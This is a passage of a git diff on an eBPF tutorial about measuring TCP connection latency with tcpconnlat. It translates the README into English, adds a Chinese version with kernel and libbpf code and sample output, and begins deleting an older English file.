of `tcp_v4_connect` and `tcp_v6_connect`, the process information (process name, process ID, and current timestamp) of the initiating connection request is recorded and stored in the `start` map with the socket structure as the key. ```c static int trace_connect(struct sock *sk) @@ -434,7 +434,7 @@ static int trace_connect(struct sock *sk) } ``` -当TCP状态机处理到SYN-ACK包,即连接建立的时候,会触发`tcp_rcv_state_process`的kprobe处理函数`handle_tcp_rcv_state_process`。在这个函数中,首先检查socket的状态是否为`SYN-SENT`,如果是,会从`start`这个map中查找socket对应的进程信息。然后计算出从发起连接到现在的时间间隔,将该时间间隔,进程信息,以及TCP连接的详细信息(源端口,目标端口,源IP,目标IP等)作为event,通过`bpf_perf_event_output`函数发送到用户态。 +When the TCP state machine processes the SYN-ACK packet, i.e., when the connection is established, the kprobe handling function `handle_tcp_rcv_state_process` of `tcp_rcv_state_process` is triggered. In this function, it first checks if the socket state is `SYN-SENT`. If it is, it looks up the process information for the socket in the `start` map. Then it calculates the time interval from the initiation of the connection to the present and sends this time interval, process information, and TCP connection details (source port, destination port, source IP, destination IP, etc.) as an event to user space using the `bpf_perf_event_output` function. ```c static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk) @@ -458,9 +458,7 @@ static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk) event.delta_us = delta / 1000U; if (targ_min_us && event.delta_us < targ_min_us) - goto - - cleanup; + goto cleanup; __builtin_memcpy(&event.comm, piddatap->comm, sizeof(event.comm)); event.ts_us = ts / 1000; @@ -486,36 +484,9 @@ cleanup: } ``` -理解这个程序的关键在于理解Linux内核的网络栈处理流程,以及eBPF程序的运行模式。Linux内核网络栈对TCP连接建立的处理过程是,首先调用`tcp_v4_connect`或`tcp_v6_connect`函数(根据IP版本不同)发起TCP连接,然后在收到SYN-ACK包时,通过`tcp_rcv_state_process`函数来处理。eBPF程序通过在这两个关键函数上设置kprobe,可以在关键时刻得到通知并执行相应的处理代码。 - -一些关键概念说明: - -- kprobe:Kernel Probe,是Linux内核中用于动态追踪内核行为的机制。可以在内核函数的入口和退出处设置断点,当断点被触发时,会执行与kprobe关联的eBPF程序。 -- map:是eBPF程序中的一种数据结构,用于在内核态和用户态之间共享数据。 -- socket:在Linux网络编程中,socket是一个抽象概念,表示一个网络连接的端点。内核中的`struct sock`结构就是对socket的实现。 - -### 用户态数据处理 - -用户态数据处理是使用`perf_buffer__poll`来接收并处理从内核发送到用户态的eBPF事件。`perf_buffer__poll`是libbpf库提供的一个便捷函数,用于轮询perf event buffer并处理接收到的数据。 - -首先,让我们详细看一下主轮询循环: - -```c - /* main: poll */ - while (!exiting) { - err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); - if (err < 0 && err != -EINTR) { - fprintf(stderr, "error polling perf buffer: %s\n", strerror(-err)); - goto cleanup; - } - /* reset err to return 0 if exiting */ - err = 0; - } -``` - -这段代码使用一个while循环来反复轮询perf event buffer。如果轮询出错(例如由于信号中断),会打印出错误消息。这个轮询过程会一直持续,直到收到一个退出标志`exiting`。 +This program uses a while loop to repeatedly poll the perf event buffer. If there is an error during polling (e.g., due to a signal interruption), an error message will be printed. This polling process continues until an exit flag `exiting` is received. -接下来,让我们来看看`handle_event`函数,这个函数将处理从内核发送到用户态的每一个eBPF事件: +Next, let's take a look at the `handle_event` function, which handles every eBPF event sent from the kernel to user space: ```c void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { @@ -559,19 +530,18 @@ void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { } ``` -`handle_event`函数的参数包括了CPU编号、指向数据的指针以及数据的大小。数据是一个`event`结构体,包含了之前在内核态计算得到的TCP连接的信息。 +The `handle_event` function takes arguments including the CPU number, a pointer to the data, and the size of the data. The data is a `event` structure that contains information about TCP connections computed in the kernel space. -首先,它将接收到的事件的时间戳和起始时间戳(如果存在)进行对比,计算出事件的相对时间,并打印出来。接着,根据IP地址的类型(IPv4或IPv6),将源地址和目标地址从网络字节序转换为主机字节序。 +First, it compares the timestamp of the received event with the start timestamp (if available) to calculate the relative time of the event, and then prints it. Next, it converts the source address and destination address from network byte order to host byte order based on the IP address type (IPv4 or IPv6). -最后,根据用户是否选择了显示本地端口,将进程ID、进程名称、IP版本、源IP地址、本地端口(如果有)、目标IP地址、目标端口以及连接建立时间打印出来。这个连接建立时间是我们在内核态eBPF程序中计算并发送到用户态的。 +Finally, depending on whether the user chooses to display the local port, it prints the process ID, process name, IP version, source IP address, local port (if available), destination IP address, destination port, and connection establishment time. This connection establishment time is calculated in the eBPF program running in the kernel space and sent to the user space. -## 编译运行 +## Compilation and Execution ```console $ make ... - BPF .output/tcpconnlat.bpf.o - GEN-SKEL .output/tcpconnlat.skel.h + BPF .output/tcpconnlat.bpf.o".GEN-SKEL .output/tcpconnlat.skel.h CC .output/tcpconnlat.o BINARY tcpconnlat $ sudo ./tcpconnlat @@ -582,18 +552,22 @@ PID COMM IP SADDR DADDR DPORT LAT(ms) 222774 ssh 4 192.168.88.15 1.15.149.151 22 25.31 ``` -源代码: 关于如何安装依赖,请参考: +Source code: [https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/13-tcpconnlat](https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/13-tcpconnlat) + +References: + +- [tcpconnlat](https://github.com/iovisor/bcc/blob/master/libbpf-tools/tcpconnlat.c) in bcc -参考资料: +## Summary -- [tcpconnlat](https://github.com/iovisor/bcc/blob/master/libbpf-tools/tcpconnlat.c) +In this eBPF introductory tutorial, we learned how to use eBPF to track and measure the latency of TCP connections. We first explored how eBPF programs can attach to specific kernel functions in kernel-space and capture the start and end times of connection establishment to calculate latency. -## 总结 +We also learned how to use BPF maps to store and retrieve data in kernel-space, enabling data sharing among different parts of the eBPF program. Additionally, we discussed how to use perf events to send data from kernel-space to user-space for further processing and display. -通过本篇 eBPF 入门实践教程,我们学习了如何使用 eBPF 来跟踪和统计 TCP 连接建立的延时。我们首先深入探讨了 eBPF 程序如何在内核态监听特定的内核函数,然后通过捕获这些函数的调用,从而得到连接建立的起始时间和结束时间,计算出延时。 +In user-space, we introduced the usage of libbpf library APIs, such as perf_buffer__poll, to receive and process data sent from the kernel-space. We also demonstrated how to parse and print this data in a human-readable format. -我们还进一步了解了如何使用 BPF maps 来在内核态存储和查询数据,从而在 eBPF 程序的多个部分之间共享数据。同时,我们也探讨了如何使用 perf events 来将数据从内核态发送到用户态,以便进一步处理和展示。 +If you are interested in learning more about eBPF and its practical applications, you can visit our tutorial code repository at [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) for more examples and complete tutorials. -在用户态,我们介绍了如何使用 libbpf 库的 API,例如 perf_buffer__poll,来接收和处理内核态发送过来的数据。我们还讲解了如何对这些数据进行解析和打印,使得它们能以人类可读的形式显示出来。 +In the upcoming tutorials, we will dive deeper into advanced features of eBPF, such as tracing the path of network packets and fine-grained system performance monitoring. We will continue to share more content on eBPF development practices to help you better understand and master eBPF technology. We hope these resources will be valuable in your learning and practical journey with eBPF. -如果您希望学习更多关于 eBPF 的知识和实践,请查阅 eunomia-bpf 的官方文档: 。您还可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +> The original link of this article: diff --git a/src/13-tcpconnlat/README.zh.md b/src/13-tcpconnlat/README.zh.md new file mode 100644 index 00000000..e0694147 --- /dev/null +++ b/src/13-tcpconnlat/README.zh.md @@ -0,0 +1,599 @@ +# eBPF入门开发实践教程十三:统计 TCP 连接延时,并使用 libbpf 在用户态处理数据 + +eBPF (Extended Berkeley Packet Filter) 是一项强大的网络和性能分析工具,被应用在 Linux 内核上。eBPF 允许开发者动态加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。 + +本文是 eBPF 入门开发实践教程的第十三篇,主要介绍如何使用 eBPF 统计 TCP 连接延时,并使用 libbpf 在用户态处理数据。 + +## 背景 + +在进行后端开发时,不论使用何种编程语言,我们都常常需要调用 MySQL、Redis 等数据库,或执行一些 RPC 远程调用,或者调用其他的 RESTful API。这些调用的底层,通常都是基于 TCP 协议进行的。原因是 TCP 协议具有可靠连接、错误重传、拥塞控制等优点,因此在网络传输层协议中,TCP 的应用广泛程度超过了 UDP。然而,TCP 也有一些缺点,如建立连接的延时较长。因此,也出现了一些替代方案,例如 QUIC(Quick UDP Internet Connections,快速 UDP 网络连接)。 + +分析 TCP 连接延时对网络性能分析、优化以及故障排查都非常有用。 + +## tcpconnlat 工具概述 + +`tcpconnlat` 这个工具能够跟踪内核中执行活动 TCP 连接的函数(如通过 `connect()` 系统调用),并测量并显示连接延时,即从发送 SYN 到收到响应包的时间。 + +### TCP 连接原理 + +TCP 连接的建立过程,常被称为“三次握手”(Three-way Handshake)。以下是整个过程的步骤: + +1. 客户端向服务器发送 SYN 包:客户端通过 `connect()` 系统调用发出 SYN。这涉及到本地的系统调用以及软中断的 CPU 时间开销。 +2. SYN 包传送到服务器:这是一次网络传输,涉及到的时间取决于网络延迟。 +3. 服务器处理 SYN 包:服务器内核通过软中断接收包,然后将其放入半连接队列,并发送 SYN/ACK 响应。这主要涉及 CPU 时间开销。 +4. SYN/ACK 包传送到客户端:这是另一次网络传输。 +5. 客户端处理 SYN/ACK:客户端内核接收并处理 SYN/ACK 包,然后发送 ACK。这主要涉及软中断处理开销。 +6. ACK 包传送到服务器:这是第三次网络传输。 +7. 服务器接收 ACK:服务器内核接收并处理 ACK,然后将对应的连接从半连接队列移动到全连接队列。这涉及到一次软中断的 CPU 开销。 +8. 唤醒服务器端用户进程:被 `accept()` 系统调用阻塞的用户进程被唤醒,然后从全连接队列中取出来已经建立好的连接。这涉及一次上下文切换的CPU开销。 + +完整的流程图如下所示: + +![tcpconnlat1](tcpconnlat1.png) + +在客户端视角,在正常情况下一次TCP连接总的耗时也就就大约是一次网络RTT的耗时。但在某些情况下,可能会导致连接时的网络传输耗时上涨、CPU处理开销增加、甚至是连接失败。这种时候在发现延时过长之后,就可以结合其他信息进行分析。 + +## tcpconnlat 的 eBPF 实现 + +为了理解 TCP 的连接建立过程,我们需要理解 Linux 内核在处理 TCP 连接时所使用的两个队列: + +- 半连接队列(SYN 队列):存储那些正在进行三次握手操作的 TCP 连接,服务器收到 SYN 包后,会将该连接信息存储在此队列中。 +- 全连接队列(Accept 队列):存储已经完成三次握手,等待应用程序调用 `accept()` 函数的 TCP 连接。服务器在收到 ACK 包后,会创建一个新的连接并将其添加到此队列。 + +理解了这两个队列的用途,我们就可以开始探究 tcpconnlat 的具体实现。tcpconnlat 的实现可以分为内核态和用户态两个部分,其中包括了几个主要的跟踪点:`tcp_v4_connect`, `tcp_v6_connect` 和 `tcp_rcv_state_process`。 + +这些跟踪点主要位于内核中的 TCP/IP 网络栈。当执行相关的系统调用或内核函数时,这些跟踪点会被激活,从而触发 eBPF 程序的执行。这使我们能够捕获和测量 TCP 连接建立的整个过程。 + +让我们先来看一下这些挂载点的源代码: + +```c +SEC("kprobe/tcp_v4_connect") +int BPF_KPROBE(tcp_v4_connect, struct sock *sk) +{ + return trace_connect(sk); +} + +SEC("kprobe/tcp_v6_connect") +int BPF_KPROBE(tcp_v6_connect, struct sock *sk) +{ + return trace_connect(sk); +} + +SEC("kprobe/tcp_rcv_state_process") +int BPF_KPROBE(tcp_rcv_state_process, struct sock *sk) +{ + return handle_tcp_rcv_state_process(ctx, sk); +} +``` + +这段代码展示了三个内核探针(kprobe)的定义。`tcp_v4_connect` 和 `tcp_v6_connect` 在对应的 IPv4 和 IPv6 连接被初始化时被触发,调用 `trace_connect()` 函数,而 `tcp_rcv_state_process` 在内核处理 TCP 连接状态变化时被触发,调用 `handle_tcp_rcv_state_process()` 函数。 + +接下来的部分将分为两大块:一部分是对这些挂载点内核态部分的分析,我们将解读内核源代码来详细说明这些函数如何工作;另一部分是用户态的分析,将关注 eBPF 程序如何收集这些挂载点的数据,以及如何与用户态程序进行交互。 + +### tcp_v4_connect 函数解析 + +`tcp_v4_connect`函数是Linux内核处理TCP的IPv4连接请求的主要方式。当用户态程序通过`socket`系统调用创建了一个套接字后,接着通过`connect`系统调用尝试连接到远程服务器,此时就会触发`tcp_v4_connect`函数。 + +```c +/* This will initiate an outgoing connection. */ +int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) +{ + struct sockaddr_in *usin = (struct sockaddr_in *)uaddr; + struct inet_timewait_death_row *tcp_death_row; + struct inet_sock *inet = inet_sk(sk); + struct tcp_sock *tp = tcp_sk(sk); + struct ip_options_rcu *inet_opt; + struct net *net = sock_net(sk); + __be16 orig_sport, orig_dport; + __be32 daddr, nexthop; + struct flowi4 *fl4; + struct rtable *rt; + int err; + + if (addr_len < sizeof(struct sockaddr_in)) + return -EINVAL; + + if (usin->sin_family != AF_INET) + return -EAFNOSUPPORT; + + nexthop = daddr = usin->sin_addr.s_addr; + inet_opt = rcu_dereference_protected(inet->inet_opt, + lockdep_sock_is_held(sk)); + if (inet_opt && inet_opt->opt.srr) { + if (!daddr) + return -EINVAL; + nexthop = inet_opt->opt.faddr; + } + + orig_sport = inet->inet_sport; + orig_dport = usin->sin_port; + fl4 = &inet->cork.fl.u.ip4; + rt = ip_route_connect(fl4, nexthop, inet->inet_saddr, + sk->sk_bound_dev_if, IPPROTO_TCP, orig_sport, + orig_dport, sk); + if (IS_ERR(rt)) { + err = PTR_ERR(rt); + if (err == -ENETUNREACH) + IP_INC_STATS(net, IPSTATS_MIB_OUTNOROUTES); + return err; + } + + if (rt->rt_flags & (RTCF_MULTICAST | RTCF_BROADCAST)) { + ip_rt_put(rt); + return -ENETUNREACH; + } + + if (!inet_opt || !inet_opt->opt.srr) + daddr = fl4->daddr; + + tcp_death_row = &sock_net(sk)->ipv4.tcp_death_row; + + if (!inet->inet_saddr) { + err = inet_bhash2_update_saddr(sk, &fl4->saddr, AF_INET); + if (err) { + ip_rt_put(rt); + return err; + } + } else { + sk_rcv_saddr_set(sk, inet->inet_saddr); + } + + if (tp->rx_opt.ts_recent_stamp && inet->inet_daddr != daddr) { + /* Reset inherited state */ + tp->rx_opt.ts_recent = 0; + tp->rx_opt.ts_recent_stamp = 0; + if (likely(!tp->repair)) + WRITE_ONCE(tp->write_seq, 0); + } + + inet->inet_dport = usin->sin_port; + sk_daddr_set(sk, daddr); + + inet_csk(sk)->icsk_ext_hdr_len = 0; + if (inet_opt) + inet_csk(sk)->icsk_ext_hdr_len = inet_opt->opt.optlen; + + tp->rx_opt.mss_clamp = TCP_MSS_DEFAULT; + + /* Socket identity is still unknown (sport may be zero). + * However we set state to SYN-SENT and not releasing socket + * lock select source port, enter ourselves into the hash tables and + * complete initialization after this. + */ + tcp_set_state(sk, TCP_SYN_SENT); + err = inet_hash_connect(tcp_death_row, sk); + if (err) + goto failure; + + sk_set_txhash(sk); + + rt = ip_route_newports(fl4, rt, orig_sport, orig_dport, + inet->inet_sport, inet->inet_dport, sk); + if (IS_ERR(rt)) { + err = PTR_ERR(rt); + rt = NULL; + goto failure; + } + /* OK, now commit destination to socket. */ + sk->sk_gso_type = SKB_GSO_TCPV4; + sk_setup_caps(sk, &rt->dst); + rt = NULL; + + if (likely(!tp->repair)) { + if (!tp->write_seq) + WRITE_ONCE(tp->write_seq, + secure_tcp_seq(inet->inet_saddr, + inet->inet_daddr, + inet->inet_sport, + usin->sin_port)); + tp->tsoffset = secure_tcp_ts_off(net, inet->inet_saddr, + inet->inet_daddr); + } + + inet->inet_id = get_random_u16(); + + if (tcp_fastopen_defer_connect(sk, &err)) + return err; + if (err) + goto failure; + + err = tcp_connect(sk); + + if (err) + goto failure; + + return 0; + +failure: + /* + * This unhashes the socket and releases the local port, + * if necessary. + */ + tcp_set_state(sk, TCP_CLOSE); + inet_bhash2_reset_saddr(sk); + ip_rt_put(rt); + sk->sk_route_caps = 0; + inet->inet_dport = 0; + return err; +} +EXPORT_SYMBOL(tcp_v4_connect); +``` + +参考链接: + +接下来,我们一步步分析这个函数: + +首先,这个函数接收三个参数:一个套接字指针`sk`,一个指向套接字地址结构的指针`uaddr`和地址的长度`addr_len`。 + +```c +int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) +``` + +函数一开始就进行了参数检查,确认地址长度正确,而且地址的协议族必须是IPv4。不满足这些条件会导致函数返回错误。 + +接下来,函数获取目标地址,如果设置了源路由选项(这是一个高级的IP特性,通常不会被使用),那么它还会获取源路由的下一跳地址。 + +```c +nexthop = daddr = usin->sin_addr.s_addr; +inet_opt = rcu_dereference_protected(inet->inet_opt, + lockdep_sock_is_held(sk)); +if (inet_opt && inet_opt->opt.srr) { + if (!daddr) + return -EINVAL; + nexthop = inet_opt->opt.faddr; +} +``` + +然后,使用这些信息来寻找一个路由到目标地址的路由项。如果不能找到路由项或者路由项指向一个多播或广播地址,函数返回错误。 + +接下来,它更新了源地址,处理了一些TCP时间戳选项的状态,并设置了目标端口和地址。之后,它更新了一些其他的套接字和TCP选项,并设置了连接状态为`SYN-SENT`。 + +然后,这个函数使用`inet_hash_connect`函数尝试将套接字添加到已连接的套接字的散列表中。如果这步失败,它会恢复套接字的状态并返回错误。 + +如果前面的步骤都成功了,接着,使用新的源和目标端口来更新路由项。如果这步失败,它会清理资源并返回错误。 + +接下来,它提交目标信息到套接字,并为之后的分段偏移选择一个安全的随机值。 + +然后,函数尝试使用TCP Fast Open(TFO)进行连接,如果不能使用TFO或者TFO尝试失败,它会使用普通的TCP三次握手进行连接。 + +最后,如果上面的步骤都成功了,函数返回成功,否则,它会清理所有资源并返回错误。 + +总的来说,`tcp_v4_connect`函数是一个处理TCP连接请求的复杂函数,它处理了很多情况,包括参数检查、路由查找、源地址选择、源路由、TCP选项处理、TCP Fast Open,等等。它的主要目标是尽可能安全和有效地建立TCP连接。 + +### 内核态代码 + +```c +// SPDX-License-Identifier: GPL-2.0 +// Copyright (c) 2020 Wenbo Zhang +#include +#include +#include +#include +#include "tcpconnlat.h" + +#define AF_INET 2 +#define AF_INET6 10 + +const volatile __u64 targ_min_us = 0; +const volatile pid_t targ_tgid = 0; + +struct piddata { + char comm[TASK_COMM_LEN]; + u64 ts; + u32 tgid; +}; + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 4096); + __type(key, struct sock *); + __type(value, struct piddata); +} start SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); + __uint(key_size, sizeof(u32)); + __uint(value_size, sizeof(u32)); +} events SEC(".maps"); + +static int trace_connect(struct sock *sk) +{ + u32 tgid = bpf_get_current_pid_tgid() >> 32; + struct piddata piddata = {}; + + if (targ_tgid && targ_tgid != tgid) + return 0; + + bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); + piddata.ts = bpf_ktime_get_ns(); + piddata.tgid = tgid; + bpf_map_update_elem(&start, &sk, &piddata, 0); + return 0; +} + +static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk) +{ + struct piddata *piddatap; + struct event event = {}; + s64 delta; + u64 ts; + + if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) + return 0; + + piddatap = bpf_map_lookup_elem(&start, &sk); + if (!piddatap) + return 0; + + ts = bpf_ktime_get_ns(); + delta = (s64)(ts - piddatap->ts); + if (delta < 0) + goto cleanup; + + event.delta_us = delta / 1000U; + if (targ_min_us && event.delta_us < targ_min_us) + goto cleanup; + __builtin_memcpy(&event.comm, piddatap->comm, + sizeof(event.comm)); + event.ts_us = ts / 1000; + event.tgid = piddatap->tgid; + event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); + event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); + event.af = BPF_CORE_READ(sk, __sk_common.skc_family); + if (event.af == AF_INET) { + event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); + event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); + } else { + BPF_CORE_READ_INTO(&event.saddr_v6, sk, + __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); + BPF_CORE_READ_INTO(&event.daddr_v6, sk, + __sk_common.skc_v6_daddr.in6_u.u6_addr32); + } + bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, + &event, sizeof(event)); + +cleanup: + bpf_map_delete_elem(&start, &sk); + return 0; +} + +SEC("kprobe/tcp_v4_connect") +int BPF_KPROBE(tcp_v4_connect, struct sock *sk) +{ + return trace_connect(sk); +} + +SEC("kprobe/tcp_v6_connect") +int BPF_KPROBE(tcp_v6_connect, struct sock *sk) +{ + return trace_connect(sk); +} + +SEC("kprobe/tcp_rcv_state_process") +int BPF_KPROBE(tcp_rcv_state_process, struct sock *sk) +{ + return handle_tcp_rcv_state_process(ctx, sk); +} + +SEC("fentry/tcp_v4_connect") +int BPF_PROG(fentry_tcp_v4_connect, struct sock *sk) +{ + return trace_connect(sk); +} + +SEC("fentry/tcp_v6_connect") +int BPF_PROG(fentry_tcp_v6_connect, struct sock *sk) +{ + return trace_connect(sk); +} + +SEC("fentry/tcp_rcv_state_process") +int BPF_PROG(fentry_tcp_rcv_state_process, struct sock *sk) +{ + return handle_tcp_rcv_state_process(ctx, sk); +} + +char LICENSE[] SEC("license") = "GPL"; +``` + +这个eBPF(Extended Berkeley Packet Filter)程序主要用来监控并收集TCP连接的建立时间,即从发起TCP连接请求(`connect`系统调用)到连接建立完成(SYN-ACK握手过程完成)的时间间隔。这对于监测网络延迟、服务性能分析等方面非常有用。 + +首先,定义了两个eBPF maps:`start`和`events`。`start`是一个哈希表,用于存储发起连接请求的进程信息和时间戳,而`events`是一个`PERF_EVENT_ARRAY`类型的map,用于将事件数据传输到用户态。 + +```c +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 4096); + __type(key, struct sock *); + __type(value, struct piddata); +} start SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); + __uint(key_size, sizeof(u32)); + __uint(value_size, sizeof(u32)); +} events SEC(".maps"); +``` + +在`tcp_v4_connect`和`tcp_v6_connect`的kprobe处理函数`trace_connect`中,会记录下发起连接请求的进程信息(进程名、进程ID和当前时间戳),并以socket结构作为key,存储到`start`这个map中。 + +```c +static int trace_connect(struct sock *sk) +{ + u32 tgid = bpf_get_current_pid_tgid() >> 32; + struct piddata piddata = {}; + + if (targ_tgid && targ_tgid != tgid) + return 0; + + bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); + piddata.ts = bpf_ktime_get_ns(); + piddata.tgid = tgid; + bpf_map_update_elem(&start, &sk, &piddata, 0); + return 0; +} +``` + +当TCP状态机处理到SYN-ACK包,即连接建立的时候,会触发`tcp_rcv_state_process`的kprobe处理函数`handle_tcp_rcv_state_process`。在这个函数中,首先检查socket的状态是否为`SYN-SENT`,如果是,会从`start`这个map中查找socket对应的进程信息。然后计算出从发起连接到现在的时间间隔,将该时间间隔,进程信息,以及TCP连接的详细信息(源端口,目标端口,源IP,目标IP等)作为event,通过`bpf_perf_event_output`函数发送到用户态。 + +```c +static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk) +{ + struct piddata *piddatap; + struct event event = {}; + s64 delta; + u64 ts; + + if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) + return 0; + + piddatap = bpf_map_lookup_elem(&start, &sk); + if (!piddatap) + return 0; + + ts = bpf_ktime_get_ns(); + delta = (s64)(ts - piddatap->ts); + if (delta < 0) + goto cleanup; + + event.delta_us = delta / 1000U; + if (targ_min_us && event.delta_us < targ_min_us) + goto + + cleanup; + __builtin_memcpy(&event.comm, piddatap->comm, + sizeof(event.comm)); + event.ts_us = ts / 1000; + event.tgid = piddatap->tgid; + event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); + event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); + event.af = BPF_CORE_READ(sk, __sk_common.skc_family); + if (event.af == AF_INET) { + event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); + event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); + } else { + BPF_CORE_READ_INTO(&event.saddr_v6, sk, + __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); + BPF_CORE_READ_INTO(&event.daddr_v6, sk, + __sk_common.skc_v6_daddr.in6_u.u6_addr32); + } + bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, + &event, sizeof(event)); + +cleanup: + bpf_map_delete_elem(&start, &sk); + return 0; +} +``` + +理解这个程序的关键在于理解Linux内核的网络栈处理流程,以及eBPF程序的运行模式。Linux内核网络栈对TCP连接建立的处理过程是,首先调用`tcp_v4_connect`或`tcp_v6_connect`函数(根据IP版本不同)发起TCP连接,然后在收到SYN-ACK包时,通过`tcp_rcv_state_process`函数来处理。eBPF程序通过在这两个关键函数上设置kprobe,可以在关键时刻得到通知并执行相应的处理代码。 + +一些关键概念说明: + +- kprobe:Kernel Probe,是Linux内核中用于动态追踪内核行为的机制。可以在内核函数的入口和退出处设置断点,当断点被触发时,会执行与kprobe关联的eBPF程序。 +- map:是eBPF程序中的一种数据结构,用于在内核态和用户态之间共享数据。 +- socket:在Linux网络编程中,socket是一个抽象概念,表示一个网络连接的端点。内核中的`struct sock`结构就是对socket的实现。 + +### 用户态数据处理 + +用户态数据处理是使用`perf_buffer__poll`来接收并处理从内核发送到用户态的eBPF事件。`perf_buffer__poll`是libbpf库提供的一个便捷函数,用于轮询perf event buffer并处理接收到的数据。 + +首先,让我们详细看一下主轮询循环: + +```c + /* main: poll */ + while (!exiting) { + err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); + if (err < 0 && err != -EINTR) { + fprintf(stderr, "error polling perf buffer: %s\n", strerror(-err)); + goto cleanup; + } + /* reset err to return 0 if exiting */ + err = 0; + } +``` + +这段代码使用一个while循环来反复轮询perf event buffer。如果轮询出错(例如由于信号中断),会打印出错误消息。这个轮询过程会一直持续,直到收到一个退出标志`exiting`。 + +接下来,让我们来看看`handle_event`函数,这个函数将处理从内核发送到用户态的每一个eBPF事件: + +```c +void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { + const struct event* e = data; + char src[INET6_ADDRSTRLEN]; + char dst[INET6_ADDRSTRLEN]; + union { + struct in_addr x4; + struct in6_addr x6; + } s, d; + static __u64 start_ts; + + if (env.timestamp) { + if (start_ts == 0) + start_ts = e->ts_us; + printf("%-9.3f ", (e->ts_us - start_ts) / 1000000.0); + } + if (e->af == AF_INET) { + s.x4.s_addr = e->saddr_v4; + d.x4.s_addr = e->daddr_v4; + } else if (e->af == AF_INET6) { + memcpy(&s.x6.s6_addr, e->saddr_v6, sizeof(s.x6.s6_addr)); + memcpy(&d.x6.s6_addr, e->daddr_v6, sizeof(d.x6.s6_addr)); + } else { + fprintf(stderr, "broken event: event->af=%d", e->af); + return; + } + + if (env.lport) { + printf("%-6d %-12.12s %-2d %-16s %-6d %-16s %-5d %.2f\n", e->tgid, + e->comm, e->af == AF_INET ? 4 : 6, + inet_ntop(e->af, &s, src, sizeof(src)), e->lport, + inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), + e->delta_us / 1000.0); + } else { + printf("%-6d %-12.12s %-2d %-16s %-16s %-5d %.2f\n", e->tgid, e->comm, + e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)), + inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), + e->delta_us / 1000.0); + } +} +``` + +`handle_event`函数的参数包括了CPU编号、指向数据的指针以及数据的大小。数据是一个`event`结构体,包含了之前在内核态计算得到的TCP连接的信息。 + +首先,它将接收到的事件的时间戳和起始时间戳(如果存在)进行对比,计算出事件的相对时间,并打印出来。接着,根据IP地址的类型(IPv4或IPv6),将源地址和目标地址从网络字节序转换为主机字节序。 + +最后,根据用户是否选择了显示本地端口,将进程ID、进程名称、IP版本、源IP地址、本地端口(如果有)、目标IP地址、目标端口以及连接建立时间打印出来。这个连接建立时间是我们在内核态eBPF程序中计算并发送到用户态的。 + +## 编译运行 + +```console +$ make +... + BPF .output/tcpconnlat.bpf.o + GEN-SKEL .output/tcpconnlat.skel.h + CC .output/tcpconnlat.o + BINARY tcpconnlat +$ sudo ./tcpconnlat +PID COMM IP SADDR DADDR DPORT LAT(ms) +222564 wget 4 192.168.88.15 110.242.68.3 80 25.29 +222684 wget 4 192.168.88.15 167.179.101.42 443 246.76 +222726 ssh 4 192.168.88.15 167.179.101.42 22 241.17 +222774 ssh 4 192.168.88.15 1.15.149.151 22 25.31 +``` + +源代码: 关于如何安装依赖,请参考: + +参考资料: + +- [tcpconnlat](https://github.com/iovisor/bcc/blob/master/libbpf-tools/tcpconnlat.c) + +## 总结 + +通过本篇 eBPF 入门实践教程,我们学习了如何使用 eBPF 来跟踪和统计 TCP 连接建立的延时。我们首先深入探讨了 eBPF 程序如何在内核态监听特定的内核函数,然后通过捕获这些函数的调用,从而得到连接建立的起始时间和结束时间,计算出延时。 + +我们还进一步了解了如何使用 BPF maps 来在内核态存储和查询数据,从而在 eBPF 程序的多个部分之间共享数据。同时,我们也探讨了如何使用 perf events 来将数据从内核态发送到用户态,以便进一步处理和展示。 + +在用户态,我们介绍了如何使用 libbpf 库的 API,例如 perf_buffer__poll,来接收和处理内核态发送过来的数据。我们还讲解了如何对这些数据进行解析和打印,使得它们能以人类可读的形式显示出来。 + +如果您希望学习更多关于 eBPF 的知识和实践,请查阅 eunomia-bpf 的官方文档: 。您还可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 diff --git a/src/13-tcpconnlat/README_en.md b/src/13-tcpconnlat/README_en.md deleted file mode 100644 index 491199b2..00000000 --- a/src/13-tcpconnlat/README_en.md +++ /dev/null @@ -1,571 +0,0 @@ -# eBPF Tutorial by 